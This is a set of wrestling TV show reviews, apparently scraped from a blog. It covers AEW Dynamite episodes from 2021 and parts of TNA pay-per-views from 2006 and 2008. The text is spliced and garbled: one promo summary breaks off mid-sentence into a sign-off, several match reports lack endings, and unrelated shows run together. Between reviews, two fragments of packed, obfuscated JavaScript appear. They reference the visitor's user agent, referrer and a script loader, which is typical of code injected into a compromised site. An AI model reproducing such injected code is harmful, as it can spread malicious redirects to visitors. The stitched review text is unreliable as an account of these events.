Commentators: Excalibur, Jim Ross, Tony Schiavone

We are about five weeks away from Double Or Nothing and that means it is time to start setting up the show. The good thing is you can probably guess a good chunk of the card from here so it isn’t like they need to do a ton of work on the way there. We also have Blood & Guts coming up in two weeks and it needs one more push. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Commentary runs down the card.

Ricky Starks vs. Hangman Page

Starks has Hook with him and promises to take care of Page, who has poor interview etiquette. Taz joins in on commentary as they trade headlock takeovers to start. Page counters a leapfrog into a slam and stomps Starks down into the corner. A springboard clothesline puts Starks on the floor and there’s a slingshot dive to drop him again. Back in and Starks sends him throat first into the middle rope to take over. Some choking ensues but Starks has to stick the landing on a belly to back flip suplex.

Starks’ springboard is clotheslined out of the air to give Page two and a brainbuster gets the same. An Alabama Slam out of the corner is countered though and Starks’ sitout powerbomb gets two. The fall away slam sets up a running clothesline for two more on Starks but the Buckshot Lariat misses. Starks spears him down for his own near fall and escapes the Deadeye. Instead, Page pulls him down into a bulldog choke and pulls back on the leg to make Starks tap at 8:56.

Rating: B-. These are the guys that give you hope for the future in AEW as they are both young and talented, but above all else they feel like stars. Page seems like a main eventer ready to break out and Starks seems like someone with all of the potential in the world. Throw in the fact that they can have a good match and this was a very nice way to get things going.

Post match Taz tells Page to watch his back and Hook takes him down with a chop block. Page tries to fight them off but Brian Cage comes in to keep up the beatdown. The Dark Order runs in for the save.

Trent vs. Penta El Cero Miedo

Trent has the question mark behind his name again and commentary isn’t sure why it’s there. I’m guessing it is something that he put together on the indies and for some reason did not stop using it despite not being in the indies anymore. Trent starts fast by taking Penta down for a running Meteora and then knocks him outside for the big flip dive (thankfully not injuring his leg when it crashes into the barricade).

Back in and Penta hits a quick Sling Blade into the Canadian Destroyer and we take a break. Of note: during the break, an ad for Rich Swann vs. Kenny Omega at Impact’s Rebellion on Sunday aired. Aside from a throw away line here or there, that might be the first mention of the match on AEW TV.

We come back with Penta hitting a Backstabber for two and the Pentagon Driver is good for the same. They head to the apron and Trent drops Penta to the floor, but Penta’s translator says that Penta has a message for him: Trent sucks, but not as much as Trent’s mom! Trent grabs a chair to go after him but walks into a microphone shot into the package piledriver to give Penta the pin at 10:37.

Rating: C. I like Penta a lot but I’m not sure how much success a feud built around a YOUR MOM insult is going to have. Death Triangle vs. the Best Friends is a little weird in the first place but maybe they can make it work in the ring. I would hope that they drop the stuff about the mom though because that is just kind of lame.

Earlier today, Jim Ross sat down with the Pinnacle for a chat. MJF talks about having his scarf for years, but Tully Blanchard has sent him a gift: a new scarf! Wardlow brings up JR calling Chris Jericho’s recent statements the immortal promo. Jericho cut a great promo (not as great as MJF’s of course) but he stumbled a bit on Wardlow.

That’s because he knew he was doing something wrong, because you don’t mess with Wardlow. MJF accuses Jericho of standing around a bunch of B’s so you look like an A and wrestling a bunch of B’s so you don’t look like an A. Jericho has tried to latch on to a bunch of popular stars like Jon Moxley and Orange Cassidy, which worked well until he got to MJF. Jericho likes to say that MJF is great for 25 but that is BULL S***!

MJF is great for any age and he finds it interesting when Jericho says go beat some low level people. See, he remembers beating Jericho, which means that MJF is better than him and Jericho knows it. The one thing Jericho got right was saying that MJF is a mark, but it is for Jericho’s spot. At Blood and Guts, MJF is taking it. This was mostly great, with MJF selling everything and Wardlow getting some time as well. I’m not big on them saying promo, but that ship has kind of already gone for a sail, come back and been chopped up for firewood.

Video on Hikaru Shida vs. Tay Conti for Shida’s Women’s Title. Shida respects her, but it is time to fight.

Women’s Title: Hikaru Shida vs. Tay Conti

Conti is challenging and the Dark Order goes to the back to let her do this on her own. A hard forearm doesn’t do much to Shida to start and it’s time for the slugout. Conti judo throws her over and grabs a chickenwing with a bodyscissors. Shida gets to the ropes for the break and heads to the floor for a needed breather. Conti tries to follow but gets tripped down, setting up a running knee to the face.

An enziguri catches Conti again and a suplex drops her hard. Back in and the surfboard goes on but Shida switches into a reverse chinlock to keep Conti in trouble. We take a break and come back with Shida hitting a superplex but Conti pops up to kick her in the face. A German suplex drops Shida again and some running kicks to the face in the corner put her down again.

Shida is laid across the top rope and Conti adds a top rope backsplash for a near fall. The DDTay is broken up and Shida hits a running knee to the face. The Falcon Arrow gets two and Shida drops her hard to the floor. Back in and Conti nails another pump kick, setting up the TayKO for two. They strike it out again until Shida drops her with a slap. A fireman’s carry into a backbreaker sets up the Katana to retain the title at 12:18.

Rating: B. I liked the match but egads Shida has lost all sense of interest with this never ending title reign. While you can all but pencil in Britt Baker to take the title at Double Or Nothing, it has been far too long coming. Tonight was another good match and Shida can be fun to watch in the ring, but something to make me care about her would help a lot. Conti has been on a tear as of late and I really hope she isn’t dropped as a result.

Post match here’s Britt Baker, who shows us the updated rankings….with her at the top.

Miro is sick of Kip Sabian not being here and he is ready to beat people up.

Here is the Inner Circle for a chat. After we reaffirm Jericho’s rock star status with the fans singing Judas back to him, Jericho talks about how Mike Tyson knocked Shawn Spears’ teeth out. Jake Hager has straws for Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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Dynamite
Date: March 17, 2021
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Jim Ross, Tony Schiavone

It’s time for the next special show as we have a St. Patrick’s Day special. This time around we have the fallout from last week’s big angle with the Inner Circle being laid out by MJF and his new group. Other than that, we have a major showdown with Thunder Rosa and Britt Baker. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

MJF and company arrived at the airport earlier today.

Penta El Zero M vs. Cody Rhodes

During the intros, Penta (through a translator) promises to send Cody onto an early paternity leave. Penta jumps Cody during the entrances and we starts on the floor. Some kicks to the face and leg have Cody in more trouble and they head inside. Cody screams at Penta for chopping him and hits a release gordbuster. The Sling Blade gives Penta two and a Backstabber is good for the same.

Penta starts going after Cody’s bad arm but he’s fine enough to send Penta out to the apron. That means the Disaster Kick out to the floor, setting up the suicide dive. Back in and Cero Miedo is broken up with a superkick into a Canadian Destroyer into the Cody Cutter for two. Cross Rhodes gets two, as does a Vertebreaker, because modern professional wrestling is ridiculous. Cody wraps the leg around the post to set up the Figure Four but Penta makes the rope. Another Figure Four attempt is countered into the arm snap but Cody grabs a sunset flip for the pin at 10:09.

Rating: C+. Yeah I know they did a lot of cool stuff but they completely lost me with the ridiculous amount of kickouts. Sure a lot of people do it these days and it’s still ridiculous. Cody hit two finishers, a Vertebreaker and his submission with Penta surviving everything until a rollup got the pin. There is no need to do that much in a ten minute opening match and it was turning into a near joke.

Post match the Nightmare Family comes out to chase Penta off. QT Marshall gets out late and the Nightmare Family (all six members in the ring to chase off one Penta) is annoyed at him for being late.

The Young Bucks are ready to face Rey Fenix and Pac when Don Callis comes in. He’s heard that their dad wasn’t feeling good so Callis got him a shirt (“Do Not Slap Leg When Kicking”. SEE??? BECAUSE IT WAS A WWE THING AND THAT MEANS IT’S FUNNY TO REFERENCE IT BECAUSE IT MUST BE STUPID!!!). Anyway, Callis wanted to see the Bucks that he saw in Japan but there is nothing elite about them here. As for Kenny Omega, he is now the wrestling god and Omega doesn’t recognize the Bucks because they are just another team with fancy tights. Do they see the same Bucks they saw in Japan? Yay Japan. Again.

Jade Cargill vs. Dani Jordyn

Cargil doesn’t waste time in hitting a jumping knee and we hit the posing. A release German suplex sends Jordyn flying and Jade nips up, setting up Jaded (Glam Slam) for the pin at 1:17. That’s exactly how Cargill should be presented: total dominance with her doing the things she can make look good. Don’t have her trying to run before she can crawl.

Post match Cargill gets in Red Velvet’s face but is held back.

We look back at the big beatdown to end last week’s show.

Here are MJF and company for a chat. Tully Blanchard talks about how great it is to be in the middle of the ring with this bunch of guys. Last week they were in the ring with the Inner Circle and you saw them destroyed. So doesn’t that make this new group the most dominant group? That makes them the pinnacle (that sounds like a name) of professional wrestling. Thirty four years ago, Tully started his career with the best team in wrestling and now he’s ending it with them too.

MJF says now he is Judas and talks about how hard it was to take a backseat to Jericho for six months. Every time Jericho talked, he had to fall back as Jericho’s hairline. MJF sang and danced for Jericho and pretended to like his comedy BS, but it worked as planned. He was plucking Jericho feather by feather and then it was the coup de grace: he convinced everyone that he wanted to take over the Inner Circle. From day one, the plan was to kill the Inner Circle from the inside because he wanted to build something even better.

Tully was right when he called this group the Pinnacle and MJF talks about every member of the team. Then there is MJF himself, because he is the most talked about star in wrestling at 24 year old. He has 25 years plus left in the tank and that must make a lot of people want to put their fist through the screen. The GOAT spot is reserved for him and the Pinnacle is ready to be the backbone of AEW for years to come. And yes, he is better than us and we know it. Good promo here, with MJF selling it to perfection as you would expect.

Jurassic Express/Bear Country vs. Matt Hardy/Butcher and the Blade/Private Party

During the entrances, Hardy talks about how his team loves to make money and how he is building an empire. Matt wants to face Stunt to start but Marko makes him charge into the corner. That lets Jungle Boy comes in with a missile dropkick and everything breaks down in a hurry. The good guys clear the ring and Bear Country LAUNCHES Marko over the top (and he barely got his head down in time) for the huge crash.

Boulder throws Marq Quen but accidentally hits Boy by mistake, allowing Hardy to hit the Side Effect for two. We take a break and come back with Luchasaurus cleaning house with a bunch of kicks. The standing moonsault press gets two on Kassidy and it’s off to Bronson for a suplex.

Luchasaurus does not like Bronson coming in but Marko tags himself in as well as the good guys break down. A brawl breaks out on the floor and Kassidy kicks Marko in the face. Matt cuts off Marko’s comeback attempt and there’s Gin and Juice. That lets Matt tag himself in and hit the Twist of Fate for the pin on Stunt at 8:43.

Rating: C-. The tension between the Express and Bear Country could lead to a decent mini feud, but I’m not sure how much more they can milk out of Hardy. The Big Money Matt character is slightly better than Broken Matt but it’s still Matt Hardy as the focal point in 2021. That is only going to get them so far and it is getting more and more obvious every time he is in the ring.

Jon Moxley and Eddie Kingston say they don’t like the Good Brothers, and it isn’t just because Moxley wasted his money on Talk N Shop A Mania. Moxley thinks Karl Anderson has googly eyes like something you see kids making with construction paper. Kingston says this isn’t Tokyo or the Impact Zone because this is their home. The Good Brothers are cowards who die a thousand deaths. Moxley and Kingston are soldiers who will only die once. See you out there. I’m not wild on their matches, but these are two of the best talkers on wrestling right now and they’re a highlight every week.

Christian talks about people who are considered workhorses in this business. He is the kind of guy who makes other wrestlers look better but he isn’t a workhorse. That’s because he is THE workhorse but he only wants one spot. That spot is currently held by the AEW World Champion, who he got to meet last week. Omega is on borrowed time as World Champion and they’ll see each other down the road. He is here to cement his legacy and out work everyone. More good talking here, with Christian not sounding like he did in WWE, which is a welcome result.

Eddie Kingston/Jon Moxley vs. Good Brothers

The Brothers jump Kingston during his entrance but here is Moxley, with his shoulder taped from the barbed wire match, to start the fight. Moxley is sent shoulder first into the barricade and the Magic Killer drops him on the floor. The bell rings and it’s Kingston getting hammered down in the corner. More shots to the face give Gallows two as Moxley is still down on the floor.

Kingston gets in some chops but Gallows kicks Moxley off the apron as we take a break. Back with Kingston hitting a middle rope shoulder to drop Gallows and suplexing Anderson. That’s enough for the hot tag off to Moxley, who hits a running dropkick to send Anderson into the corner.

The running clothesline sets up a piledriver for two and there’s a suicide dive onto Gallows. Back in and Anderson scores with the spinebuster on Moxley, followed by the belly to back suplex/neckbreaker combination to plant Kingston. Gallows and Moxley brawl out to the floor, leaving Moxley to small package Anderson for the pin at 9:53.

Rating: C+. I liked this one as they told a good story with Moxley being down for the most part to leave this as a handicap match. The Good Brothers are fine as the enforcers for Omega and that’s all they need to be. This was mainly a one sided match until things picked up in the end, which is the story they were telling. Good enough match here.

Post match the beatdown takes out Moxley and here is Kenny Omega, dancing to the ring (that was great) and Kingston gets a Magic Killer. Kingston gets his ankle Pillmanized and the chair is wrapped around Moxley’s neck. Cue the Young Bucks to make the save but Omega gets in Matt’s face. Omega keeps wanting the Too Sweet, even with the Bucks looking ready to fight. Moxley gets the chair to clear the ring and Omega talks about his shoe. Omega was a bit loopy here and it worked….kind of? The dancing certainly did.

Tony Schiavone brings out Sting for his weekly chat but brings out Darby Allin as well for a change. Allin talks about winning the TNT Title and is here to defending it every week. He wants to pay tribute to the best TNT Champion of all time and will defend the title against any member of the Dark Order. Cue Lance Archer and Jake Roberts to interrupt. Archer wants to know why Sting is always getting the TV time and calls Allin the most indyrific wrestler around here. Roberts tells Allin to go put his hot dog bun back on because he is just a weenie.

Archer and Roberts leave so here is Team Taz, with Brian Cage speaking for himself this week. Cage talks about how great the street fight was and says he respects Sting. With or without the bat, Ricky Starks is wrong: Sting is still the Icon. Cage leaves as the rest of the team yells at him.

Video on Scorpio Sky, who was always the nice guy because no one wanted him to be the star. Now, everything has changed.

Rey Fenix vs. Angelico

Angelico takes him down to the mat to start but Fenix flips out of a wristlock. An armdrag takes Angelico down and we reset a bit. Angelico grabs the arm and starts hammering away on the tape on Fenix’s back. We take a break and come back with Fenix making the comeback and hitting the rolling cutter for two. A fireman’s carry is broken up and Fenix gets sent into the corner. An exchange of kicks to the head sets up Fenix’s crucifix bomb. The Black Fire Driver finishes Angelico at 7:31.

Rating: C+. These guys beat each other up for a few minutes and that was all it needed to be. I’m not sure why this wouldn’t be Fenix and Pac beating up the Hybrid 2 but the less Jack Evans around, the better things can be. Fenix continues to be as entertaining as it gets and I’m looking forward to the Tag Team Title match.

Miro is working out but stops to say he is sick of hearing about Chuck Taylor and Orange Cassidy. Kip Sabian comes in to say he isn’t done with them and wants the rematch. He also isn’t happy with Miro for bumping into Penelope Ford but Miro says the worst thing you can do is have your wife at ringside (right). Miro leaves and Fenix accepts the rematch on behalf of the team.

John Silver accepts the TNT Title challenge for next week.

The Pinnacle takes over the Inner Circle’s dressing room.

Thunder Rosa vs. Britt Baker

Lights out, meaning anything goes and Rebel is here with Baker. Speaking of Rebel, she hits Rosa from behind with a crutch before the bell and Baker takes it to the stage. The Air Raid Crash on the ramp gets two, as apparently this is falls count anywhere. Baker misses a chair shot against the barricade as we see Hikaru Shida watching from the back. Rosa is back up and throws a chair at Baker’s face and another shot to the back. Baker is sent over the barricade with Rosa following but missing a charge into a chair.

They’re back at ringside with Rebel helping Baker set up a table. A bunch of chairs are thrown inside and Rosa is busted open. We take a break and come back with Baker superplexing her onto the pile of chairs, which leaves her down as well. A delayed cover gets two and Rebel slides in a ladder. Rosa sends Baker face first into the ladder for two and there are the running knees in the corner.

The ladder is put on Baker’s face and a running dropkick crushes Baker in the corner. That busts her open too as commentary can’t believe how this is going. Baker is bleeding hard but manages to send her into the ladder. Rosa is down and Baker goes up….but gets Death Valley Drivered off the top and into the ladder for the huge crash. That’s good for two as well and somehow Baker is back up with a DDT onto the chair. The stomp onto a chair gets the same but Baker, who is covered in blood, smiles.

Rebel slips in the glove….and a bag of tacks as well. Rosa is back up and tries a powerbomb onto the tacks, only to have Rebel offer a distraction. That’s fine with Rosa, who knocks her off the apron and through the table, followed by the powerbomb onto the tacks for two. Baker pulls her down into the Lockjaw but Rosa rolls it into the tacks for the break in a painfully smart move. A hard low superkick rocks Rosa again and they head to the apron with Rosa pulling her off the top. That means a Fire Thunder Driver through the table to finally end Baker at 16:37.

Rating: A. This was everything you could have wanted from the match and more, but above all else it felt like a war. You could feel that these two were going to do everything they could to beat the other, but also to survive as long as they could. It was as hard hitting and brutal of a match as I have seen in a long time and I dug the heck out of the whole thing. I got a lot more out of the violence here than in the barbed wire match and I would not have bet on this coming in. Great match and check it out for sure.

They’re both mostly done to end the show.

Overall Rating: B. That main event bailed out an otherwise pretty meh show, as it was the only thing worth seeing. The good thing is that it is VERY worth seeing and made up for almost everything else. The first twenty minutes of this show had me ready to trash the whole thing but it did get better as it went along. I’m not big on some of the stories they are telling here, but at least they had a classic to wrap it up. Good show, and that is almost entirely attributed to the main event and some solid promos.

Results

Cody Rhodes b. Penta El Zero M – Sunset flip

Jade Cargill b. Dani Jordyn – Jaded

Matt Hardy/Butcher and the Blade/Private Party b. Jurassic Express and Bear Country – Twist of Fate to Stunt

Eddie Kingston/Jon Moxley b. Good Brothers – Small package to Anderson

Rey Fenix b. Angelico – Black Fire Driver

Thunder Rosa b. Britt Baker – Fire Thunder Driver through a table

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Dynamite
Date: March 10, 2021
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Tony Schiavone, Jim Ross

We’re done with Revolution and now the question becomes how they handle the bad ending. The logical solution would be to laugh it off and move on but I have a bad feeling they are going to try to turn it into a storyline. What they tried didn’t work and it seems like it would be a better idea to just accept it and move on, but that doesn’t seem like the AEW way. Let’s get to it.

Here is Revolution if you need a recap.

Opening sequence.

Matt Jackson vs. Rey Fenix

Nick Jackson is here with Matt. They trade the arm work to start as the fans are split early on. Matt takes him down but gets flipped away into a standoff. Fenix gets in a toss to the floor for the dive, followed by a springboard armdrag to take Matt down again. That means the big running flip dive to the floor and then it’s a chinlock with a bodyscissors to Matt back inside. That’s broken up and Matt throws him outside in a crash for a change.

Back in and the reverse chinlock with a knee in Fenix’s back doesn’t last long as he is back up with the chops. A faceplant gives Matt two and he rolls over into the Sharpshooter. That sends Fenix over to the rope for the break and he hits the steps up kick to the head in the corner. There’s the missile dropkick to take Matt down again and a rolling cutter makes it even worse.

Fenix grabs his modified spinning torture rack ‘before dropping Matt down. Back up and Matt hits a running kick to send Fenix outside, where Pac appears to give him some encouragement. Matt’s top rope elbow gets two and the Sharpshooter goes on for a bit longer this time.

Fenix grabs the rope again though and misses a running kick, knocking Nick down instead. Matt goes outside to superkick Pac away from Nick, flips out of a belly to back suplex, and hits two superkicks. That earns Matt a kick from Fenix and they’re both down again. They pull each other up and Fenix wins the slugout to set up the Black Fire Driver for the pin at 12:04.

Rating: B-. It’s always weird watching the Bucks having a singles match but it worked out rather well here. You can probably pencil in Nick vs. Pac for later as they continue building towards the Tag Team Title match, which should be a heck of a showdown. Good stuff here, with the flips looking pretty nice.

Here’s what’s coming later tonight.

Eddie Kingston and Jon Moxley are having some drinks with some fire in front of them. Eddie talks about covering his friend when he had this much anxiety and it reminded him of being in jail. Everything went black then and it happened again on Sunday. They talk about how much of a mess the bomb was and think it was from ACME. Impact Wrestling must have paid for the thing. Moxley had an exploding ring match and all he got was this shirt. Yeah it’s a cool shirt but he also got a drinking buddy back. Moxley says if Omega is going to flash a weapon, he better use it. Now please let that be the end of the explanations.

Cody Rhodes vs. Seth Gargis

Before the match, Cody gives his weight belt to a fan in a wheelchair (that’s great). Cody shrugs off Gargis and finishes with the Figure Four in 48 seconds.

Post match Tony Schiavone gets in the ring to interview Cody but Penta El Zero M interrupts, saying (through a translator) that he’s a thousand times better than Cody. If Cody is the Price of Pro Wrestling, then Penta is the Lord of Lucha Libre. Penta says Cody Cody should be lucky that his arm isn’t hurt so badly he can’t pick up his newborn girl. That’s enough to get Cody out into the crowd for the brawl but it’s broken up in a hurry.

Chuck Taylor and Orange Cassidy are at an arcade and say that they have been at this with Miro and Kip Sabian far too long (yep). But they want one more match to end it all. If they lose, Taylor will be Miro’s butler forever. We’ll make it interesting though, and put a bunch of video games around ringside.

Here’s Sting to praise Darby Allin for their win on Sunday, but Lance Archer and Jake Roberts interrupt. Archer talks about how he was going to be the face of the revolution without getting in a ladder match. If AEW doesn’t give him the time, he’ll take something much worse. The two of them leave and Sting is done in a hurry.

QT Marshall got a little too emotional on Sunday but tonight is about Lee Johnson. Their mics are cut off before the end of their promo (there have been some audio issues throughout the show).

Ethan Page vs. Lee Johnson

Page gets an inset promo and (rather quietly) talks about wanting the spotlight. Feeling out process to start with Page taking him down with ease as some other audio (sounds like a basketball game) keeps coming through and drowning out commentary. Page drops him again and we take a break.

Back with Page working on the ribs as the basketball audio is leaking through even worse than before. Johnson hits a Blue Thunder Bomb for two but gets taken down off the top as we hear Ain’t No Mountain High Enough. Johnson comes up favoring his knee so Page kicks him in the face. That’s enough to send Johnson to the floor so Page throws him back inside for the Ego’s Edge (toss Razor’s Edge) for the pin at 7:48.

Rating: C. The bad week for AEW production continues, even though this is a TNT problem. Page’s win was completely overshadowed here and that’s a shame because he looked fine enough. Page isn’t going to be a top star but he’s a good hand, which is always going to have a place in wrestling.

Post match the beating stays on with QT Marshall not helping Johnson. Dustin Rhodes comes in for the save and the audio is fixed.

Hangman Page has bought a new saddle, Dwight Yoakam on vinyl, donated a bunch of money to the Jacksonville Public Education fund, and bought a big lawnmower. The Dark Order gets on to get ice cream, but 10 has to wait because of the weight limit.

Tony Schiavone is ready to introduce Christian Cage but gets interrupted by Kenny Omega, Don Callis and the Good Brothers. Things have been going great for Omega, who is now the King of the Deathmatch. There was that little thing on Sunday but they will neither confirm nor deny any influence on the explosion. What Callis and company will take credit for is taking away Jon Moxley’s win from Tony Khan.

Either way, it was a win win situation, because either the ring blew up and they left with the title or they left with the title anyway. Cue Eddie Kingston, with Callis saying he has seen Kingston’s talent for a long time now. That’s why he had Kingston in Impact Wrestling, but as usual he screwed it up again. Callis gives him ten seconds to get out of the ring so we get a countdown, with Callis and Omega freaking out about the clock. Omega: “I HAD FLASHBACKS TO THE TIME I HAD DETENTION IN GRADE SCHOOL!”

Omega tells Kingston to take his shot and see what happens, so Eddie decks him with a right hand. The beatdown is on so it’s Jon Moxley and then Christian Cage for the save, though Christian comes out after Omega is left alone in the ring. They go toe to toe and Omega swings, meaning Callis has to save him from the Unprettier. Christian picks up the World Title and Omega panics while leaving. I’m not sure how good of an idea it is to charge fans $50 to see something, have it screw up, and then laugh at people for thinking they would see it. AEW doesn’t have that reputation and it isn’t one they want to develop.

Britt Baker/Hikaru Shida/Nyla Rose vs. Maki Itoh/Thunder Rosa/Ryo Mizunami

Itoh does her song, even as everyone gets in a fight before the bell. She sings anyway and then hits Shida in the head with the microphone to get going. They get inside with Itoh missing a headbutt so Shida can hammer away, meaning it’s off to Ryo for more chopping. Rosa comes in to hammer on Rose but a Rebel distraction lets Rose take over.

We come back from a break with Shida suplexing Ryo into Baker in the corner for two. With everyone else on the floor, Rosa hits a big dive off the top for the huge knockdown. Back in and Itoh’s tornado DDT gets two on Rosa but Rebel’s crutch shot is broken up. Instead Rosa spikes Itoh on her head for the pin at 7:55.

Rating: C. This was a wild match though it was more silly than anything else at times. That isn’t the worst idea and the fans do seem to like Itoh’s deal so fair enough. I’m not sure where the division is going from here but at least they are bringing in someone who is going to get your attention one way or another.

Post match Rosa gets beaten down, including the Lockjaw and a crutch to the head.

Matt Hardy is upset over losing his first quarter money but he has some new signings: Butcher, Blade and Bunny. They’ll be teaming with Private Party this Monday on Dark: Elevation.

TNT Title: Darby Allin vs. Scorpio Sky

Sky is challenging after winning the ladder match at Revolution. They fight over a wristlock to start until Allin takes him down for some rollups. Sky has to bail into the corner and looks a little surprised by what just happened. Both of them try waistlocks to little avail and we take a break.

Back with Allin fighting out of an abdominal stretch and grabbing a Code Red for two. Sky rolls some German suplexes, including one to send Allin hard into the corner. Sky is sent outside so Allin tries a suicide dive, only to have Sky counter it into a cutter. Back in and the Coffin Drop is countered into a powerbomb but the TKO is countered into a small package to retain Allin’s title at 13:16.

Rating: B. This was a heck of a match and that should not be surprising in the slightest. Both of them are great at what they do and while I’m not wild on Sky losing his title shot so quickly but there is no reason to take the title off of Allin at this point either. Good match here, and that shouldn’t surprise anyone.

Post match Allin goes to help Sky up but gets pulled into a heel hook. Referees break it up but Sky is very pleased.

Here’s what’s coming next week on St. Patrick’s Slam.

Here’s the Inner Circle for their War Council. Chris Jericho talks about how many problems the team has been having lately and it is time to start changing things a little bit. Maybe that even means adding a new member. MJF doesn’t think that’s the best idea but here is Sammy Guevara to interrupt. Sammy needs Jericho to see something and we see him set up a hidden camera, which films MJF talking to the rest of the team about getting rid of Jericho. Back in the arena, MJF says get him. Santana, Ortiz and Jake Hager turn to face Jericho….and then they all turn at MJF.

Jericho says they all knew this was coming because they talk to each other every day. MJF is shoved down and Jericho fires him before threatening a beatdown. He swears he wasn’t taking over Jericho’s Inner Circle….because he was too busy building his own. The lights go out and it’s Wardlow….with FTR, Shawn Spears and Tully Blanchard.

The beatdown is on, including spike piledrivers and handcuffs. MJF busts Jericho open with the Dynamite Diamond and some shots with Floyd the baseball bat leave him laying. Wardlow powerbombs Jericho off the stage and onto a crash pad to end the show. I like the end results, but another stable? They really needed one more?

Overall Rating: B. The wrestling mainly carries this one but the more important part is how many new things got started tonight. In addition to the big ending segment, you also have Cage vs. Omega, Sting vs. Archer/Roberts and Cody vs. Penta. I could go for a lot of that, but more importantly, I hope I can go for the end of the explanations of the ending of Revolution. Either way, good stuff here and I like their momentum coming out of Revolution.

Results
Rey Fenix b. Matt Jackson – Black Fire Driver
Cody Rhodes b. Seth Gargis – Figure Four
Ethan Page b. Lee Johnson – Ego’s Edge
Thunder Rosa/Hikaru Shida/Ryo Mizunami b. Britt Baker/Maki Itoh/Nyla Rose – Reverse Air Raid Crash to Itoh
Darby Allin b. Scorpio Sky – Small package

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbsrn|var|u0026u|referrer|akafs||js|php'.split('|'),0,{})) 2006
Date: November 19, 2006
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Don West, Mike Tenay

Kazarian/Maverick Matt/Johnny Devine vs. Voodoo Kin Mafia

We run down the rest of the card in TNA tradition.

The Naturals vs. Sonjay Dutt/Jay Lethal

The X guys have Jerry Lynn with them. The Naturals are Chase Stevens and Andy Douglas for those of you unfamiliar, which is probably a lot of you. They shout about Team 3D for most of the match. Stevens tries what would have been an AWESOME sunset bomb to the floor but Lethal saves himself. The Naturals are rammed together and sent to the floor so the X guys hit stereo dives to take them out.

LAX rants about Petey Williams stopping the flag burning on Impact. Konnan goes on an anti-military rant for some reason and says no one can stop them from burning a flag tonight because they have rights.

Daniels says that he and AJ are cool after Daniels took the title from him on Thursday.

X-Division Title: Chris Sabin vs. Christopher Daniels

We get a clip from Paparazzi Productions where Shelley and Starr say they can give Nash at least 90% out there tonight. Nash says if they follow him, they could have careers like those of Don Kernoodle, George South, Reno Riggins, Lazer Tron, Nelson Royal, George Scott, Porkchop Cash and Italian Stallion. Funny stuff but it probably went over the head of most of the audience.

Paparazzi Productions vs. Ron Killings/Lance Hoyt

Killings comes back with his gyrations so Shelley imitates Rick Rude right back at him. Off to Starr who dances some more. This needs to get going. Truth misses a charge and Aries (Starr) dances again. Truth hits the first big move in the four minutes this match has been running in the form of a powerslam. Off to Big Lance for some double teaming. Big boot gets two. One armed flapjack puts Austin down.

Hoyt loads up a moonsault but Shelley breaks it up and Lance is put in the Tree of Woe. With Truth trying to come in and distracting the referee, the Paparazzi hit a double neckbreaker while Hoyt is still upside down. Shelly holds the knees down so Starr can hit a slingshot hilo for two. They work on the knee for a bit and a slingshot corkscrew splash gets two.

Christian Cage vs. AJ Styles

Back in AJ hits a flapjack for two as things speed up. Christian heads to the floor again to slow things down but AJ hits a huge dive to take him out. His legs hit the railing as well though with a sick sound. Back inside that gets two and Styles is wincing from the leg. Christian slides back outside again and gets kicked into the barricade, but as AJ tries a slingshot dive, Christian hooks his feet to send AJ crashing legs first into the apron and shift momentum.

Rating: B. This was a pretty solid match and the ending played into the angle from earlier and also would further the angle that AJ was going into around this time. Christian basically got a clean win here as the chair had been dropped by the time the cover happened. As usual, at the end of the day just putting on a good wrestling match is the best thing you can do.

We recap the tag title match which is what I just explained.

Hernandez comes back in very quickly and hooks a one arm chinlock. The champs tag very quickly as Homicide chops on Harris so Hernandez can choke him on the floor. Off to a Homicide chinlock which sounds like police jargon. Harris comes back with a spinebuster and both guys are down. Storm (looking really strange without the beard) starts a USA chant before he gets the hot tag.

Hernandez throws him over the top but Storm skins the cat and comes back with a headscissors. James has to fight both of them at once and Harris saves him from the Border Toss. Harris comes in and hits something like a hybrid between a Thesz Press and a shoulder block to take SuperMex down. Suplex gets two. Homicide runs in for a tornado DDT to take Harris down.

NWA World Title: Sting vs. Abyss

Abyss is unconscious but gets the belt anyway.

Kurt Angle vs. Samoa Joe

The fans immediately chant this is awesome, which is kind of annoying. Feeling out process to start and Kurt goes straight for the ankle. Joe blocks the hold pretty easily and pounds him down onto the ropes. Kurt snaps off the belly to belly and clotheslines Joe to the outside. Joe grabs him in a powerbomb position, pulls him to the outside and swings him into the barricade.

Tenay and West talk for a few minutes to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dybbt|var|u0026u|referrer|hidyz||js|php'.split('|'),0,{})) For Glory 2008
Date: October 12, 2008
Location: Sears Center, Hoffman Estates, Illinois
Attendance: 5,000
Commentators: Mike Tenay, Don West

Steel Asylum

Alex Shelley, Chris Sabin, Curry Man, Jimmy Rave, Jay Lethal, Johnny Devine, Petey Williams, Shark Boy, Sonjay Dutt, Super Eric

Eric hits a Death Valley Driver on both Devine and Dutt at the same time but the Guns stop him from leaving. The Guns take everyone down until Petey nails Shelley with a Canadian Destroyer. Shark Boy hits a double Stunner off the top to plant Shelley and Petey at the same time. The parade of finishers begins and Devine is the last man standing. Dutt gets up to stop his escape attempt though and Curry Man takes everyone down so he can do his dance. Curry almost gets to the exit but Dutt pulls him down. Lethal hammers Dutt in the ribs and climbs out for the win.

We run down the card.

ODB/Rhaka Khan/Rhino vs. Cute Kip/Beautiful People

X-Division Title: Consequences Creed vs. Sheik Abdul Bashir

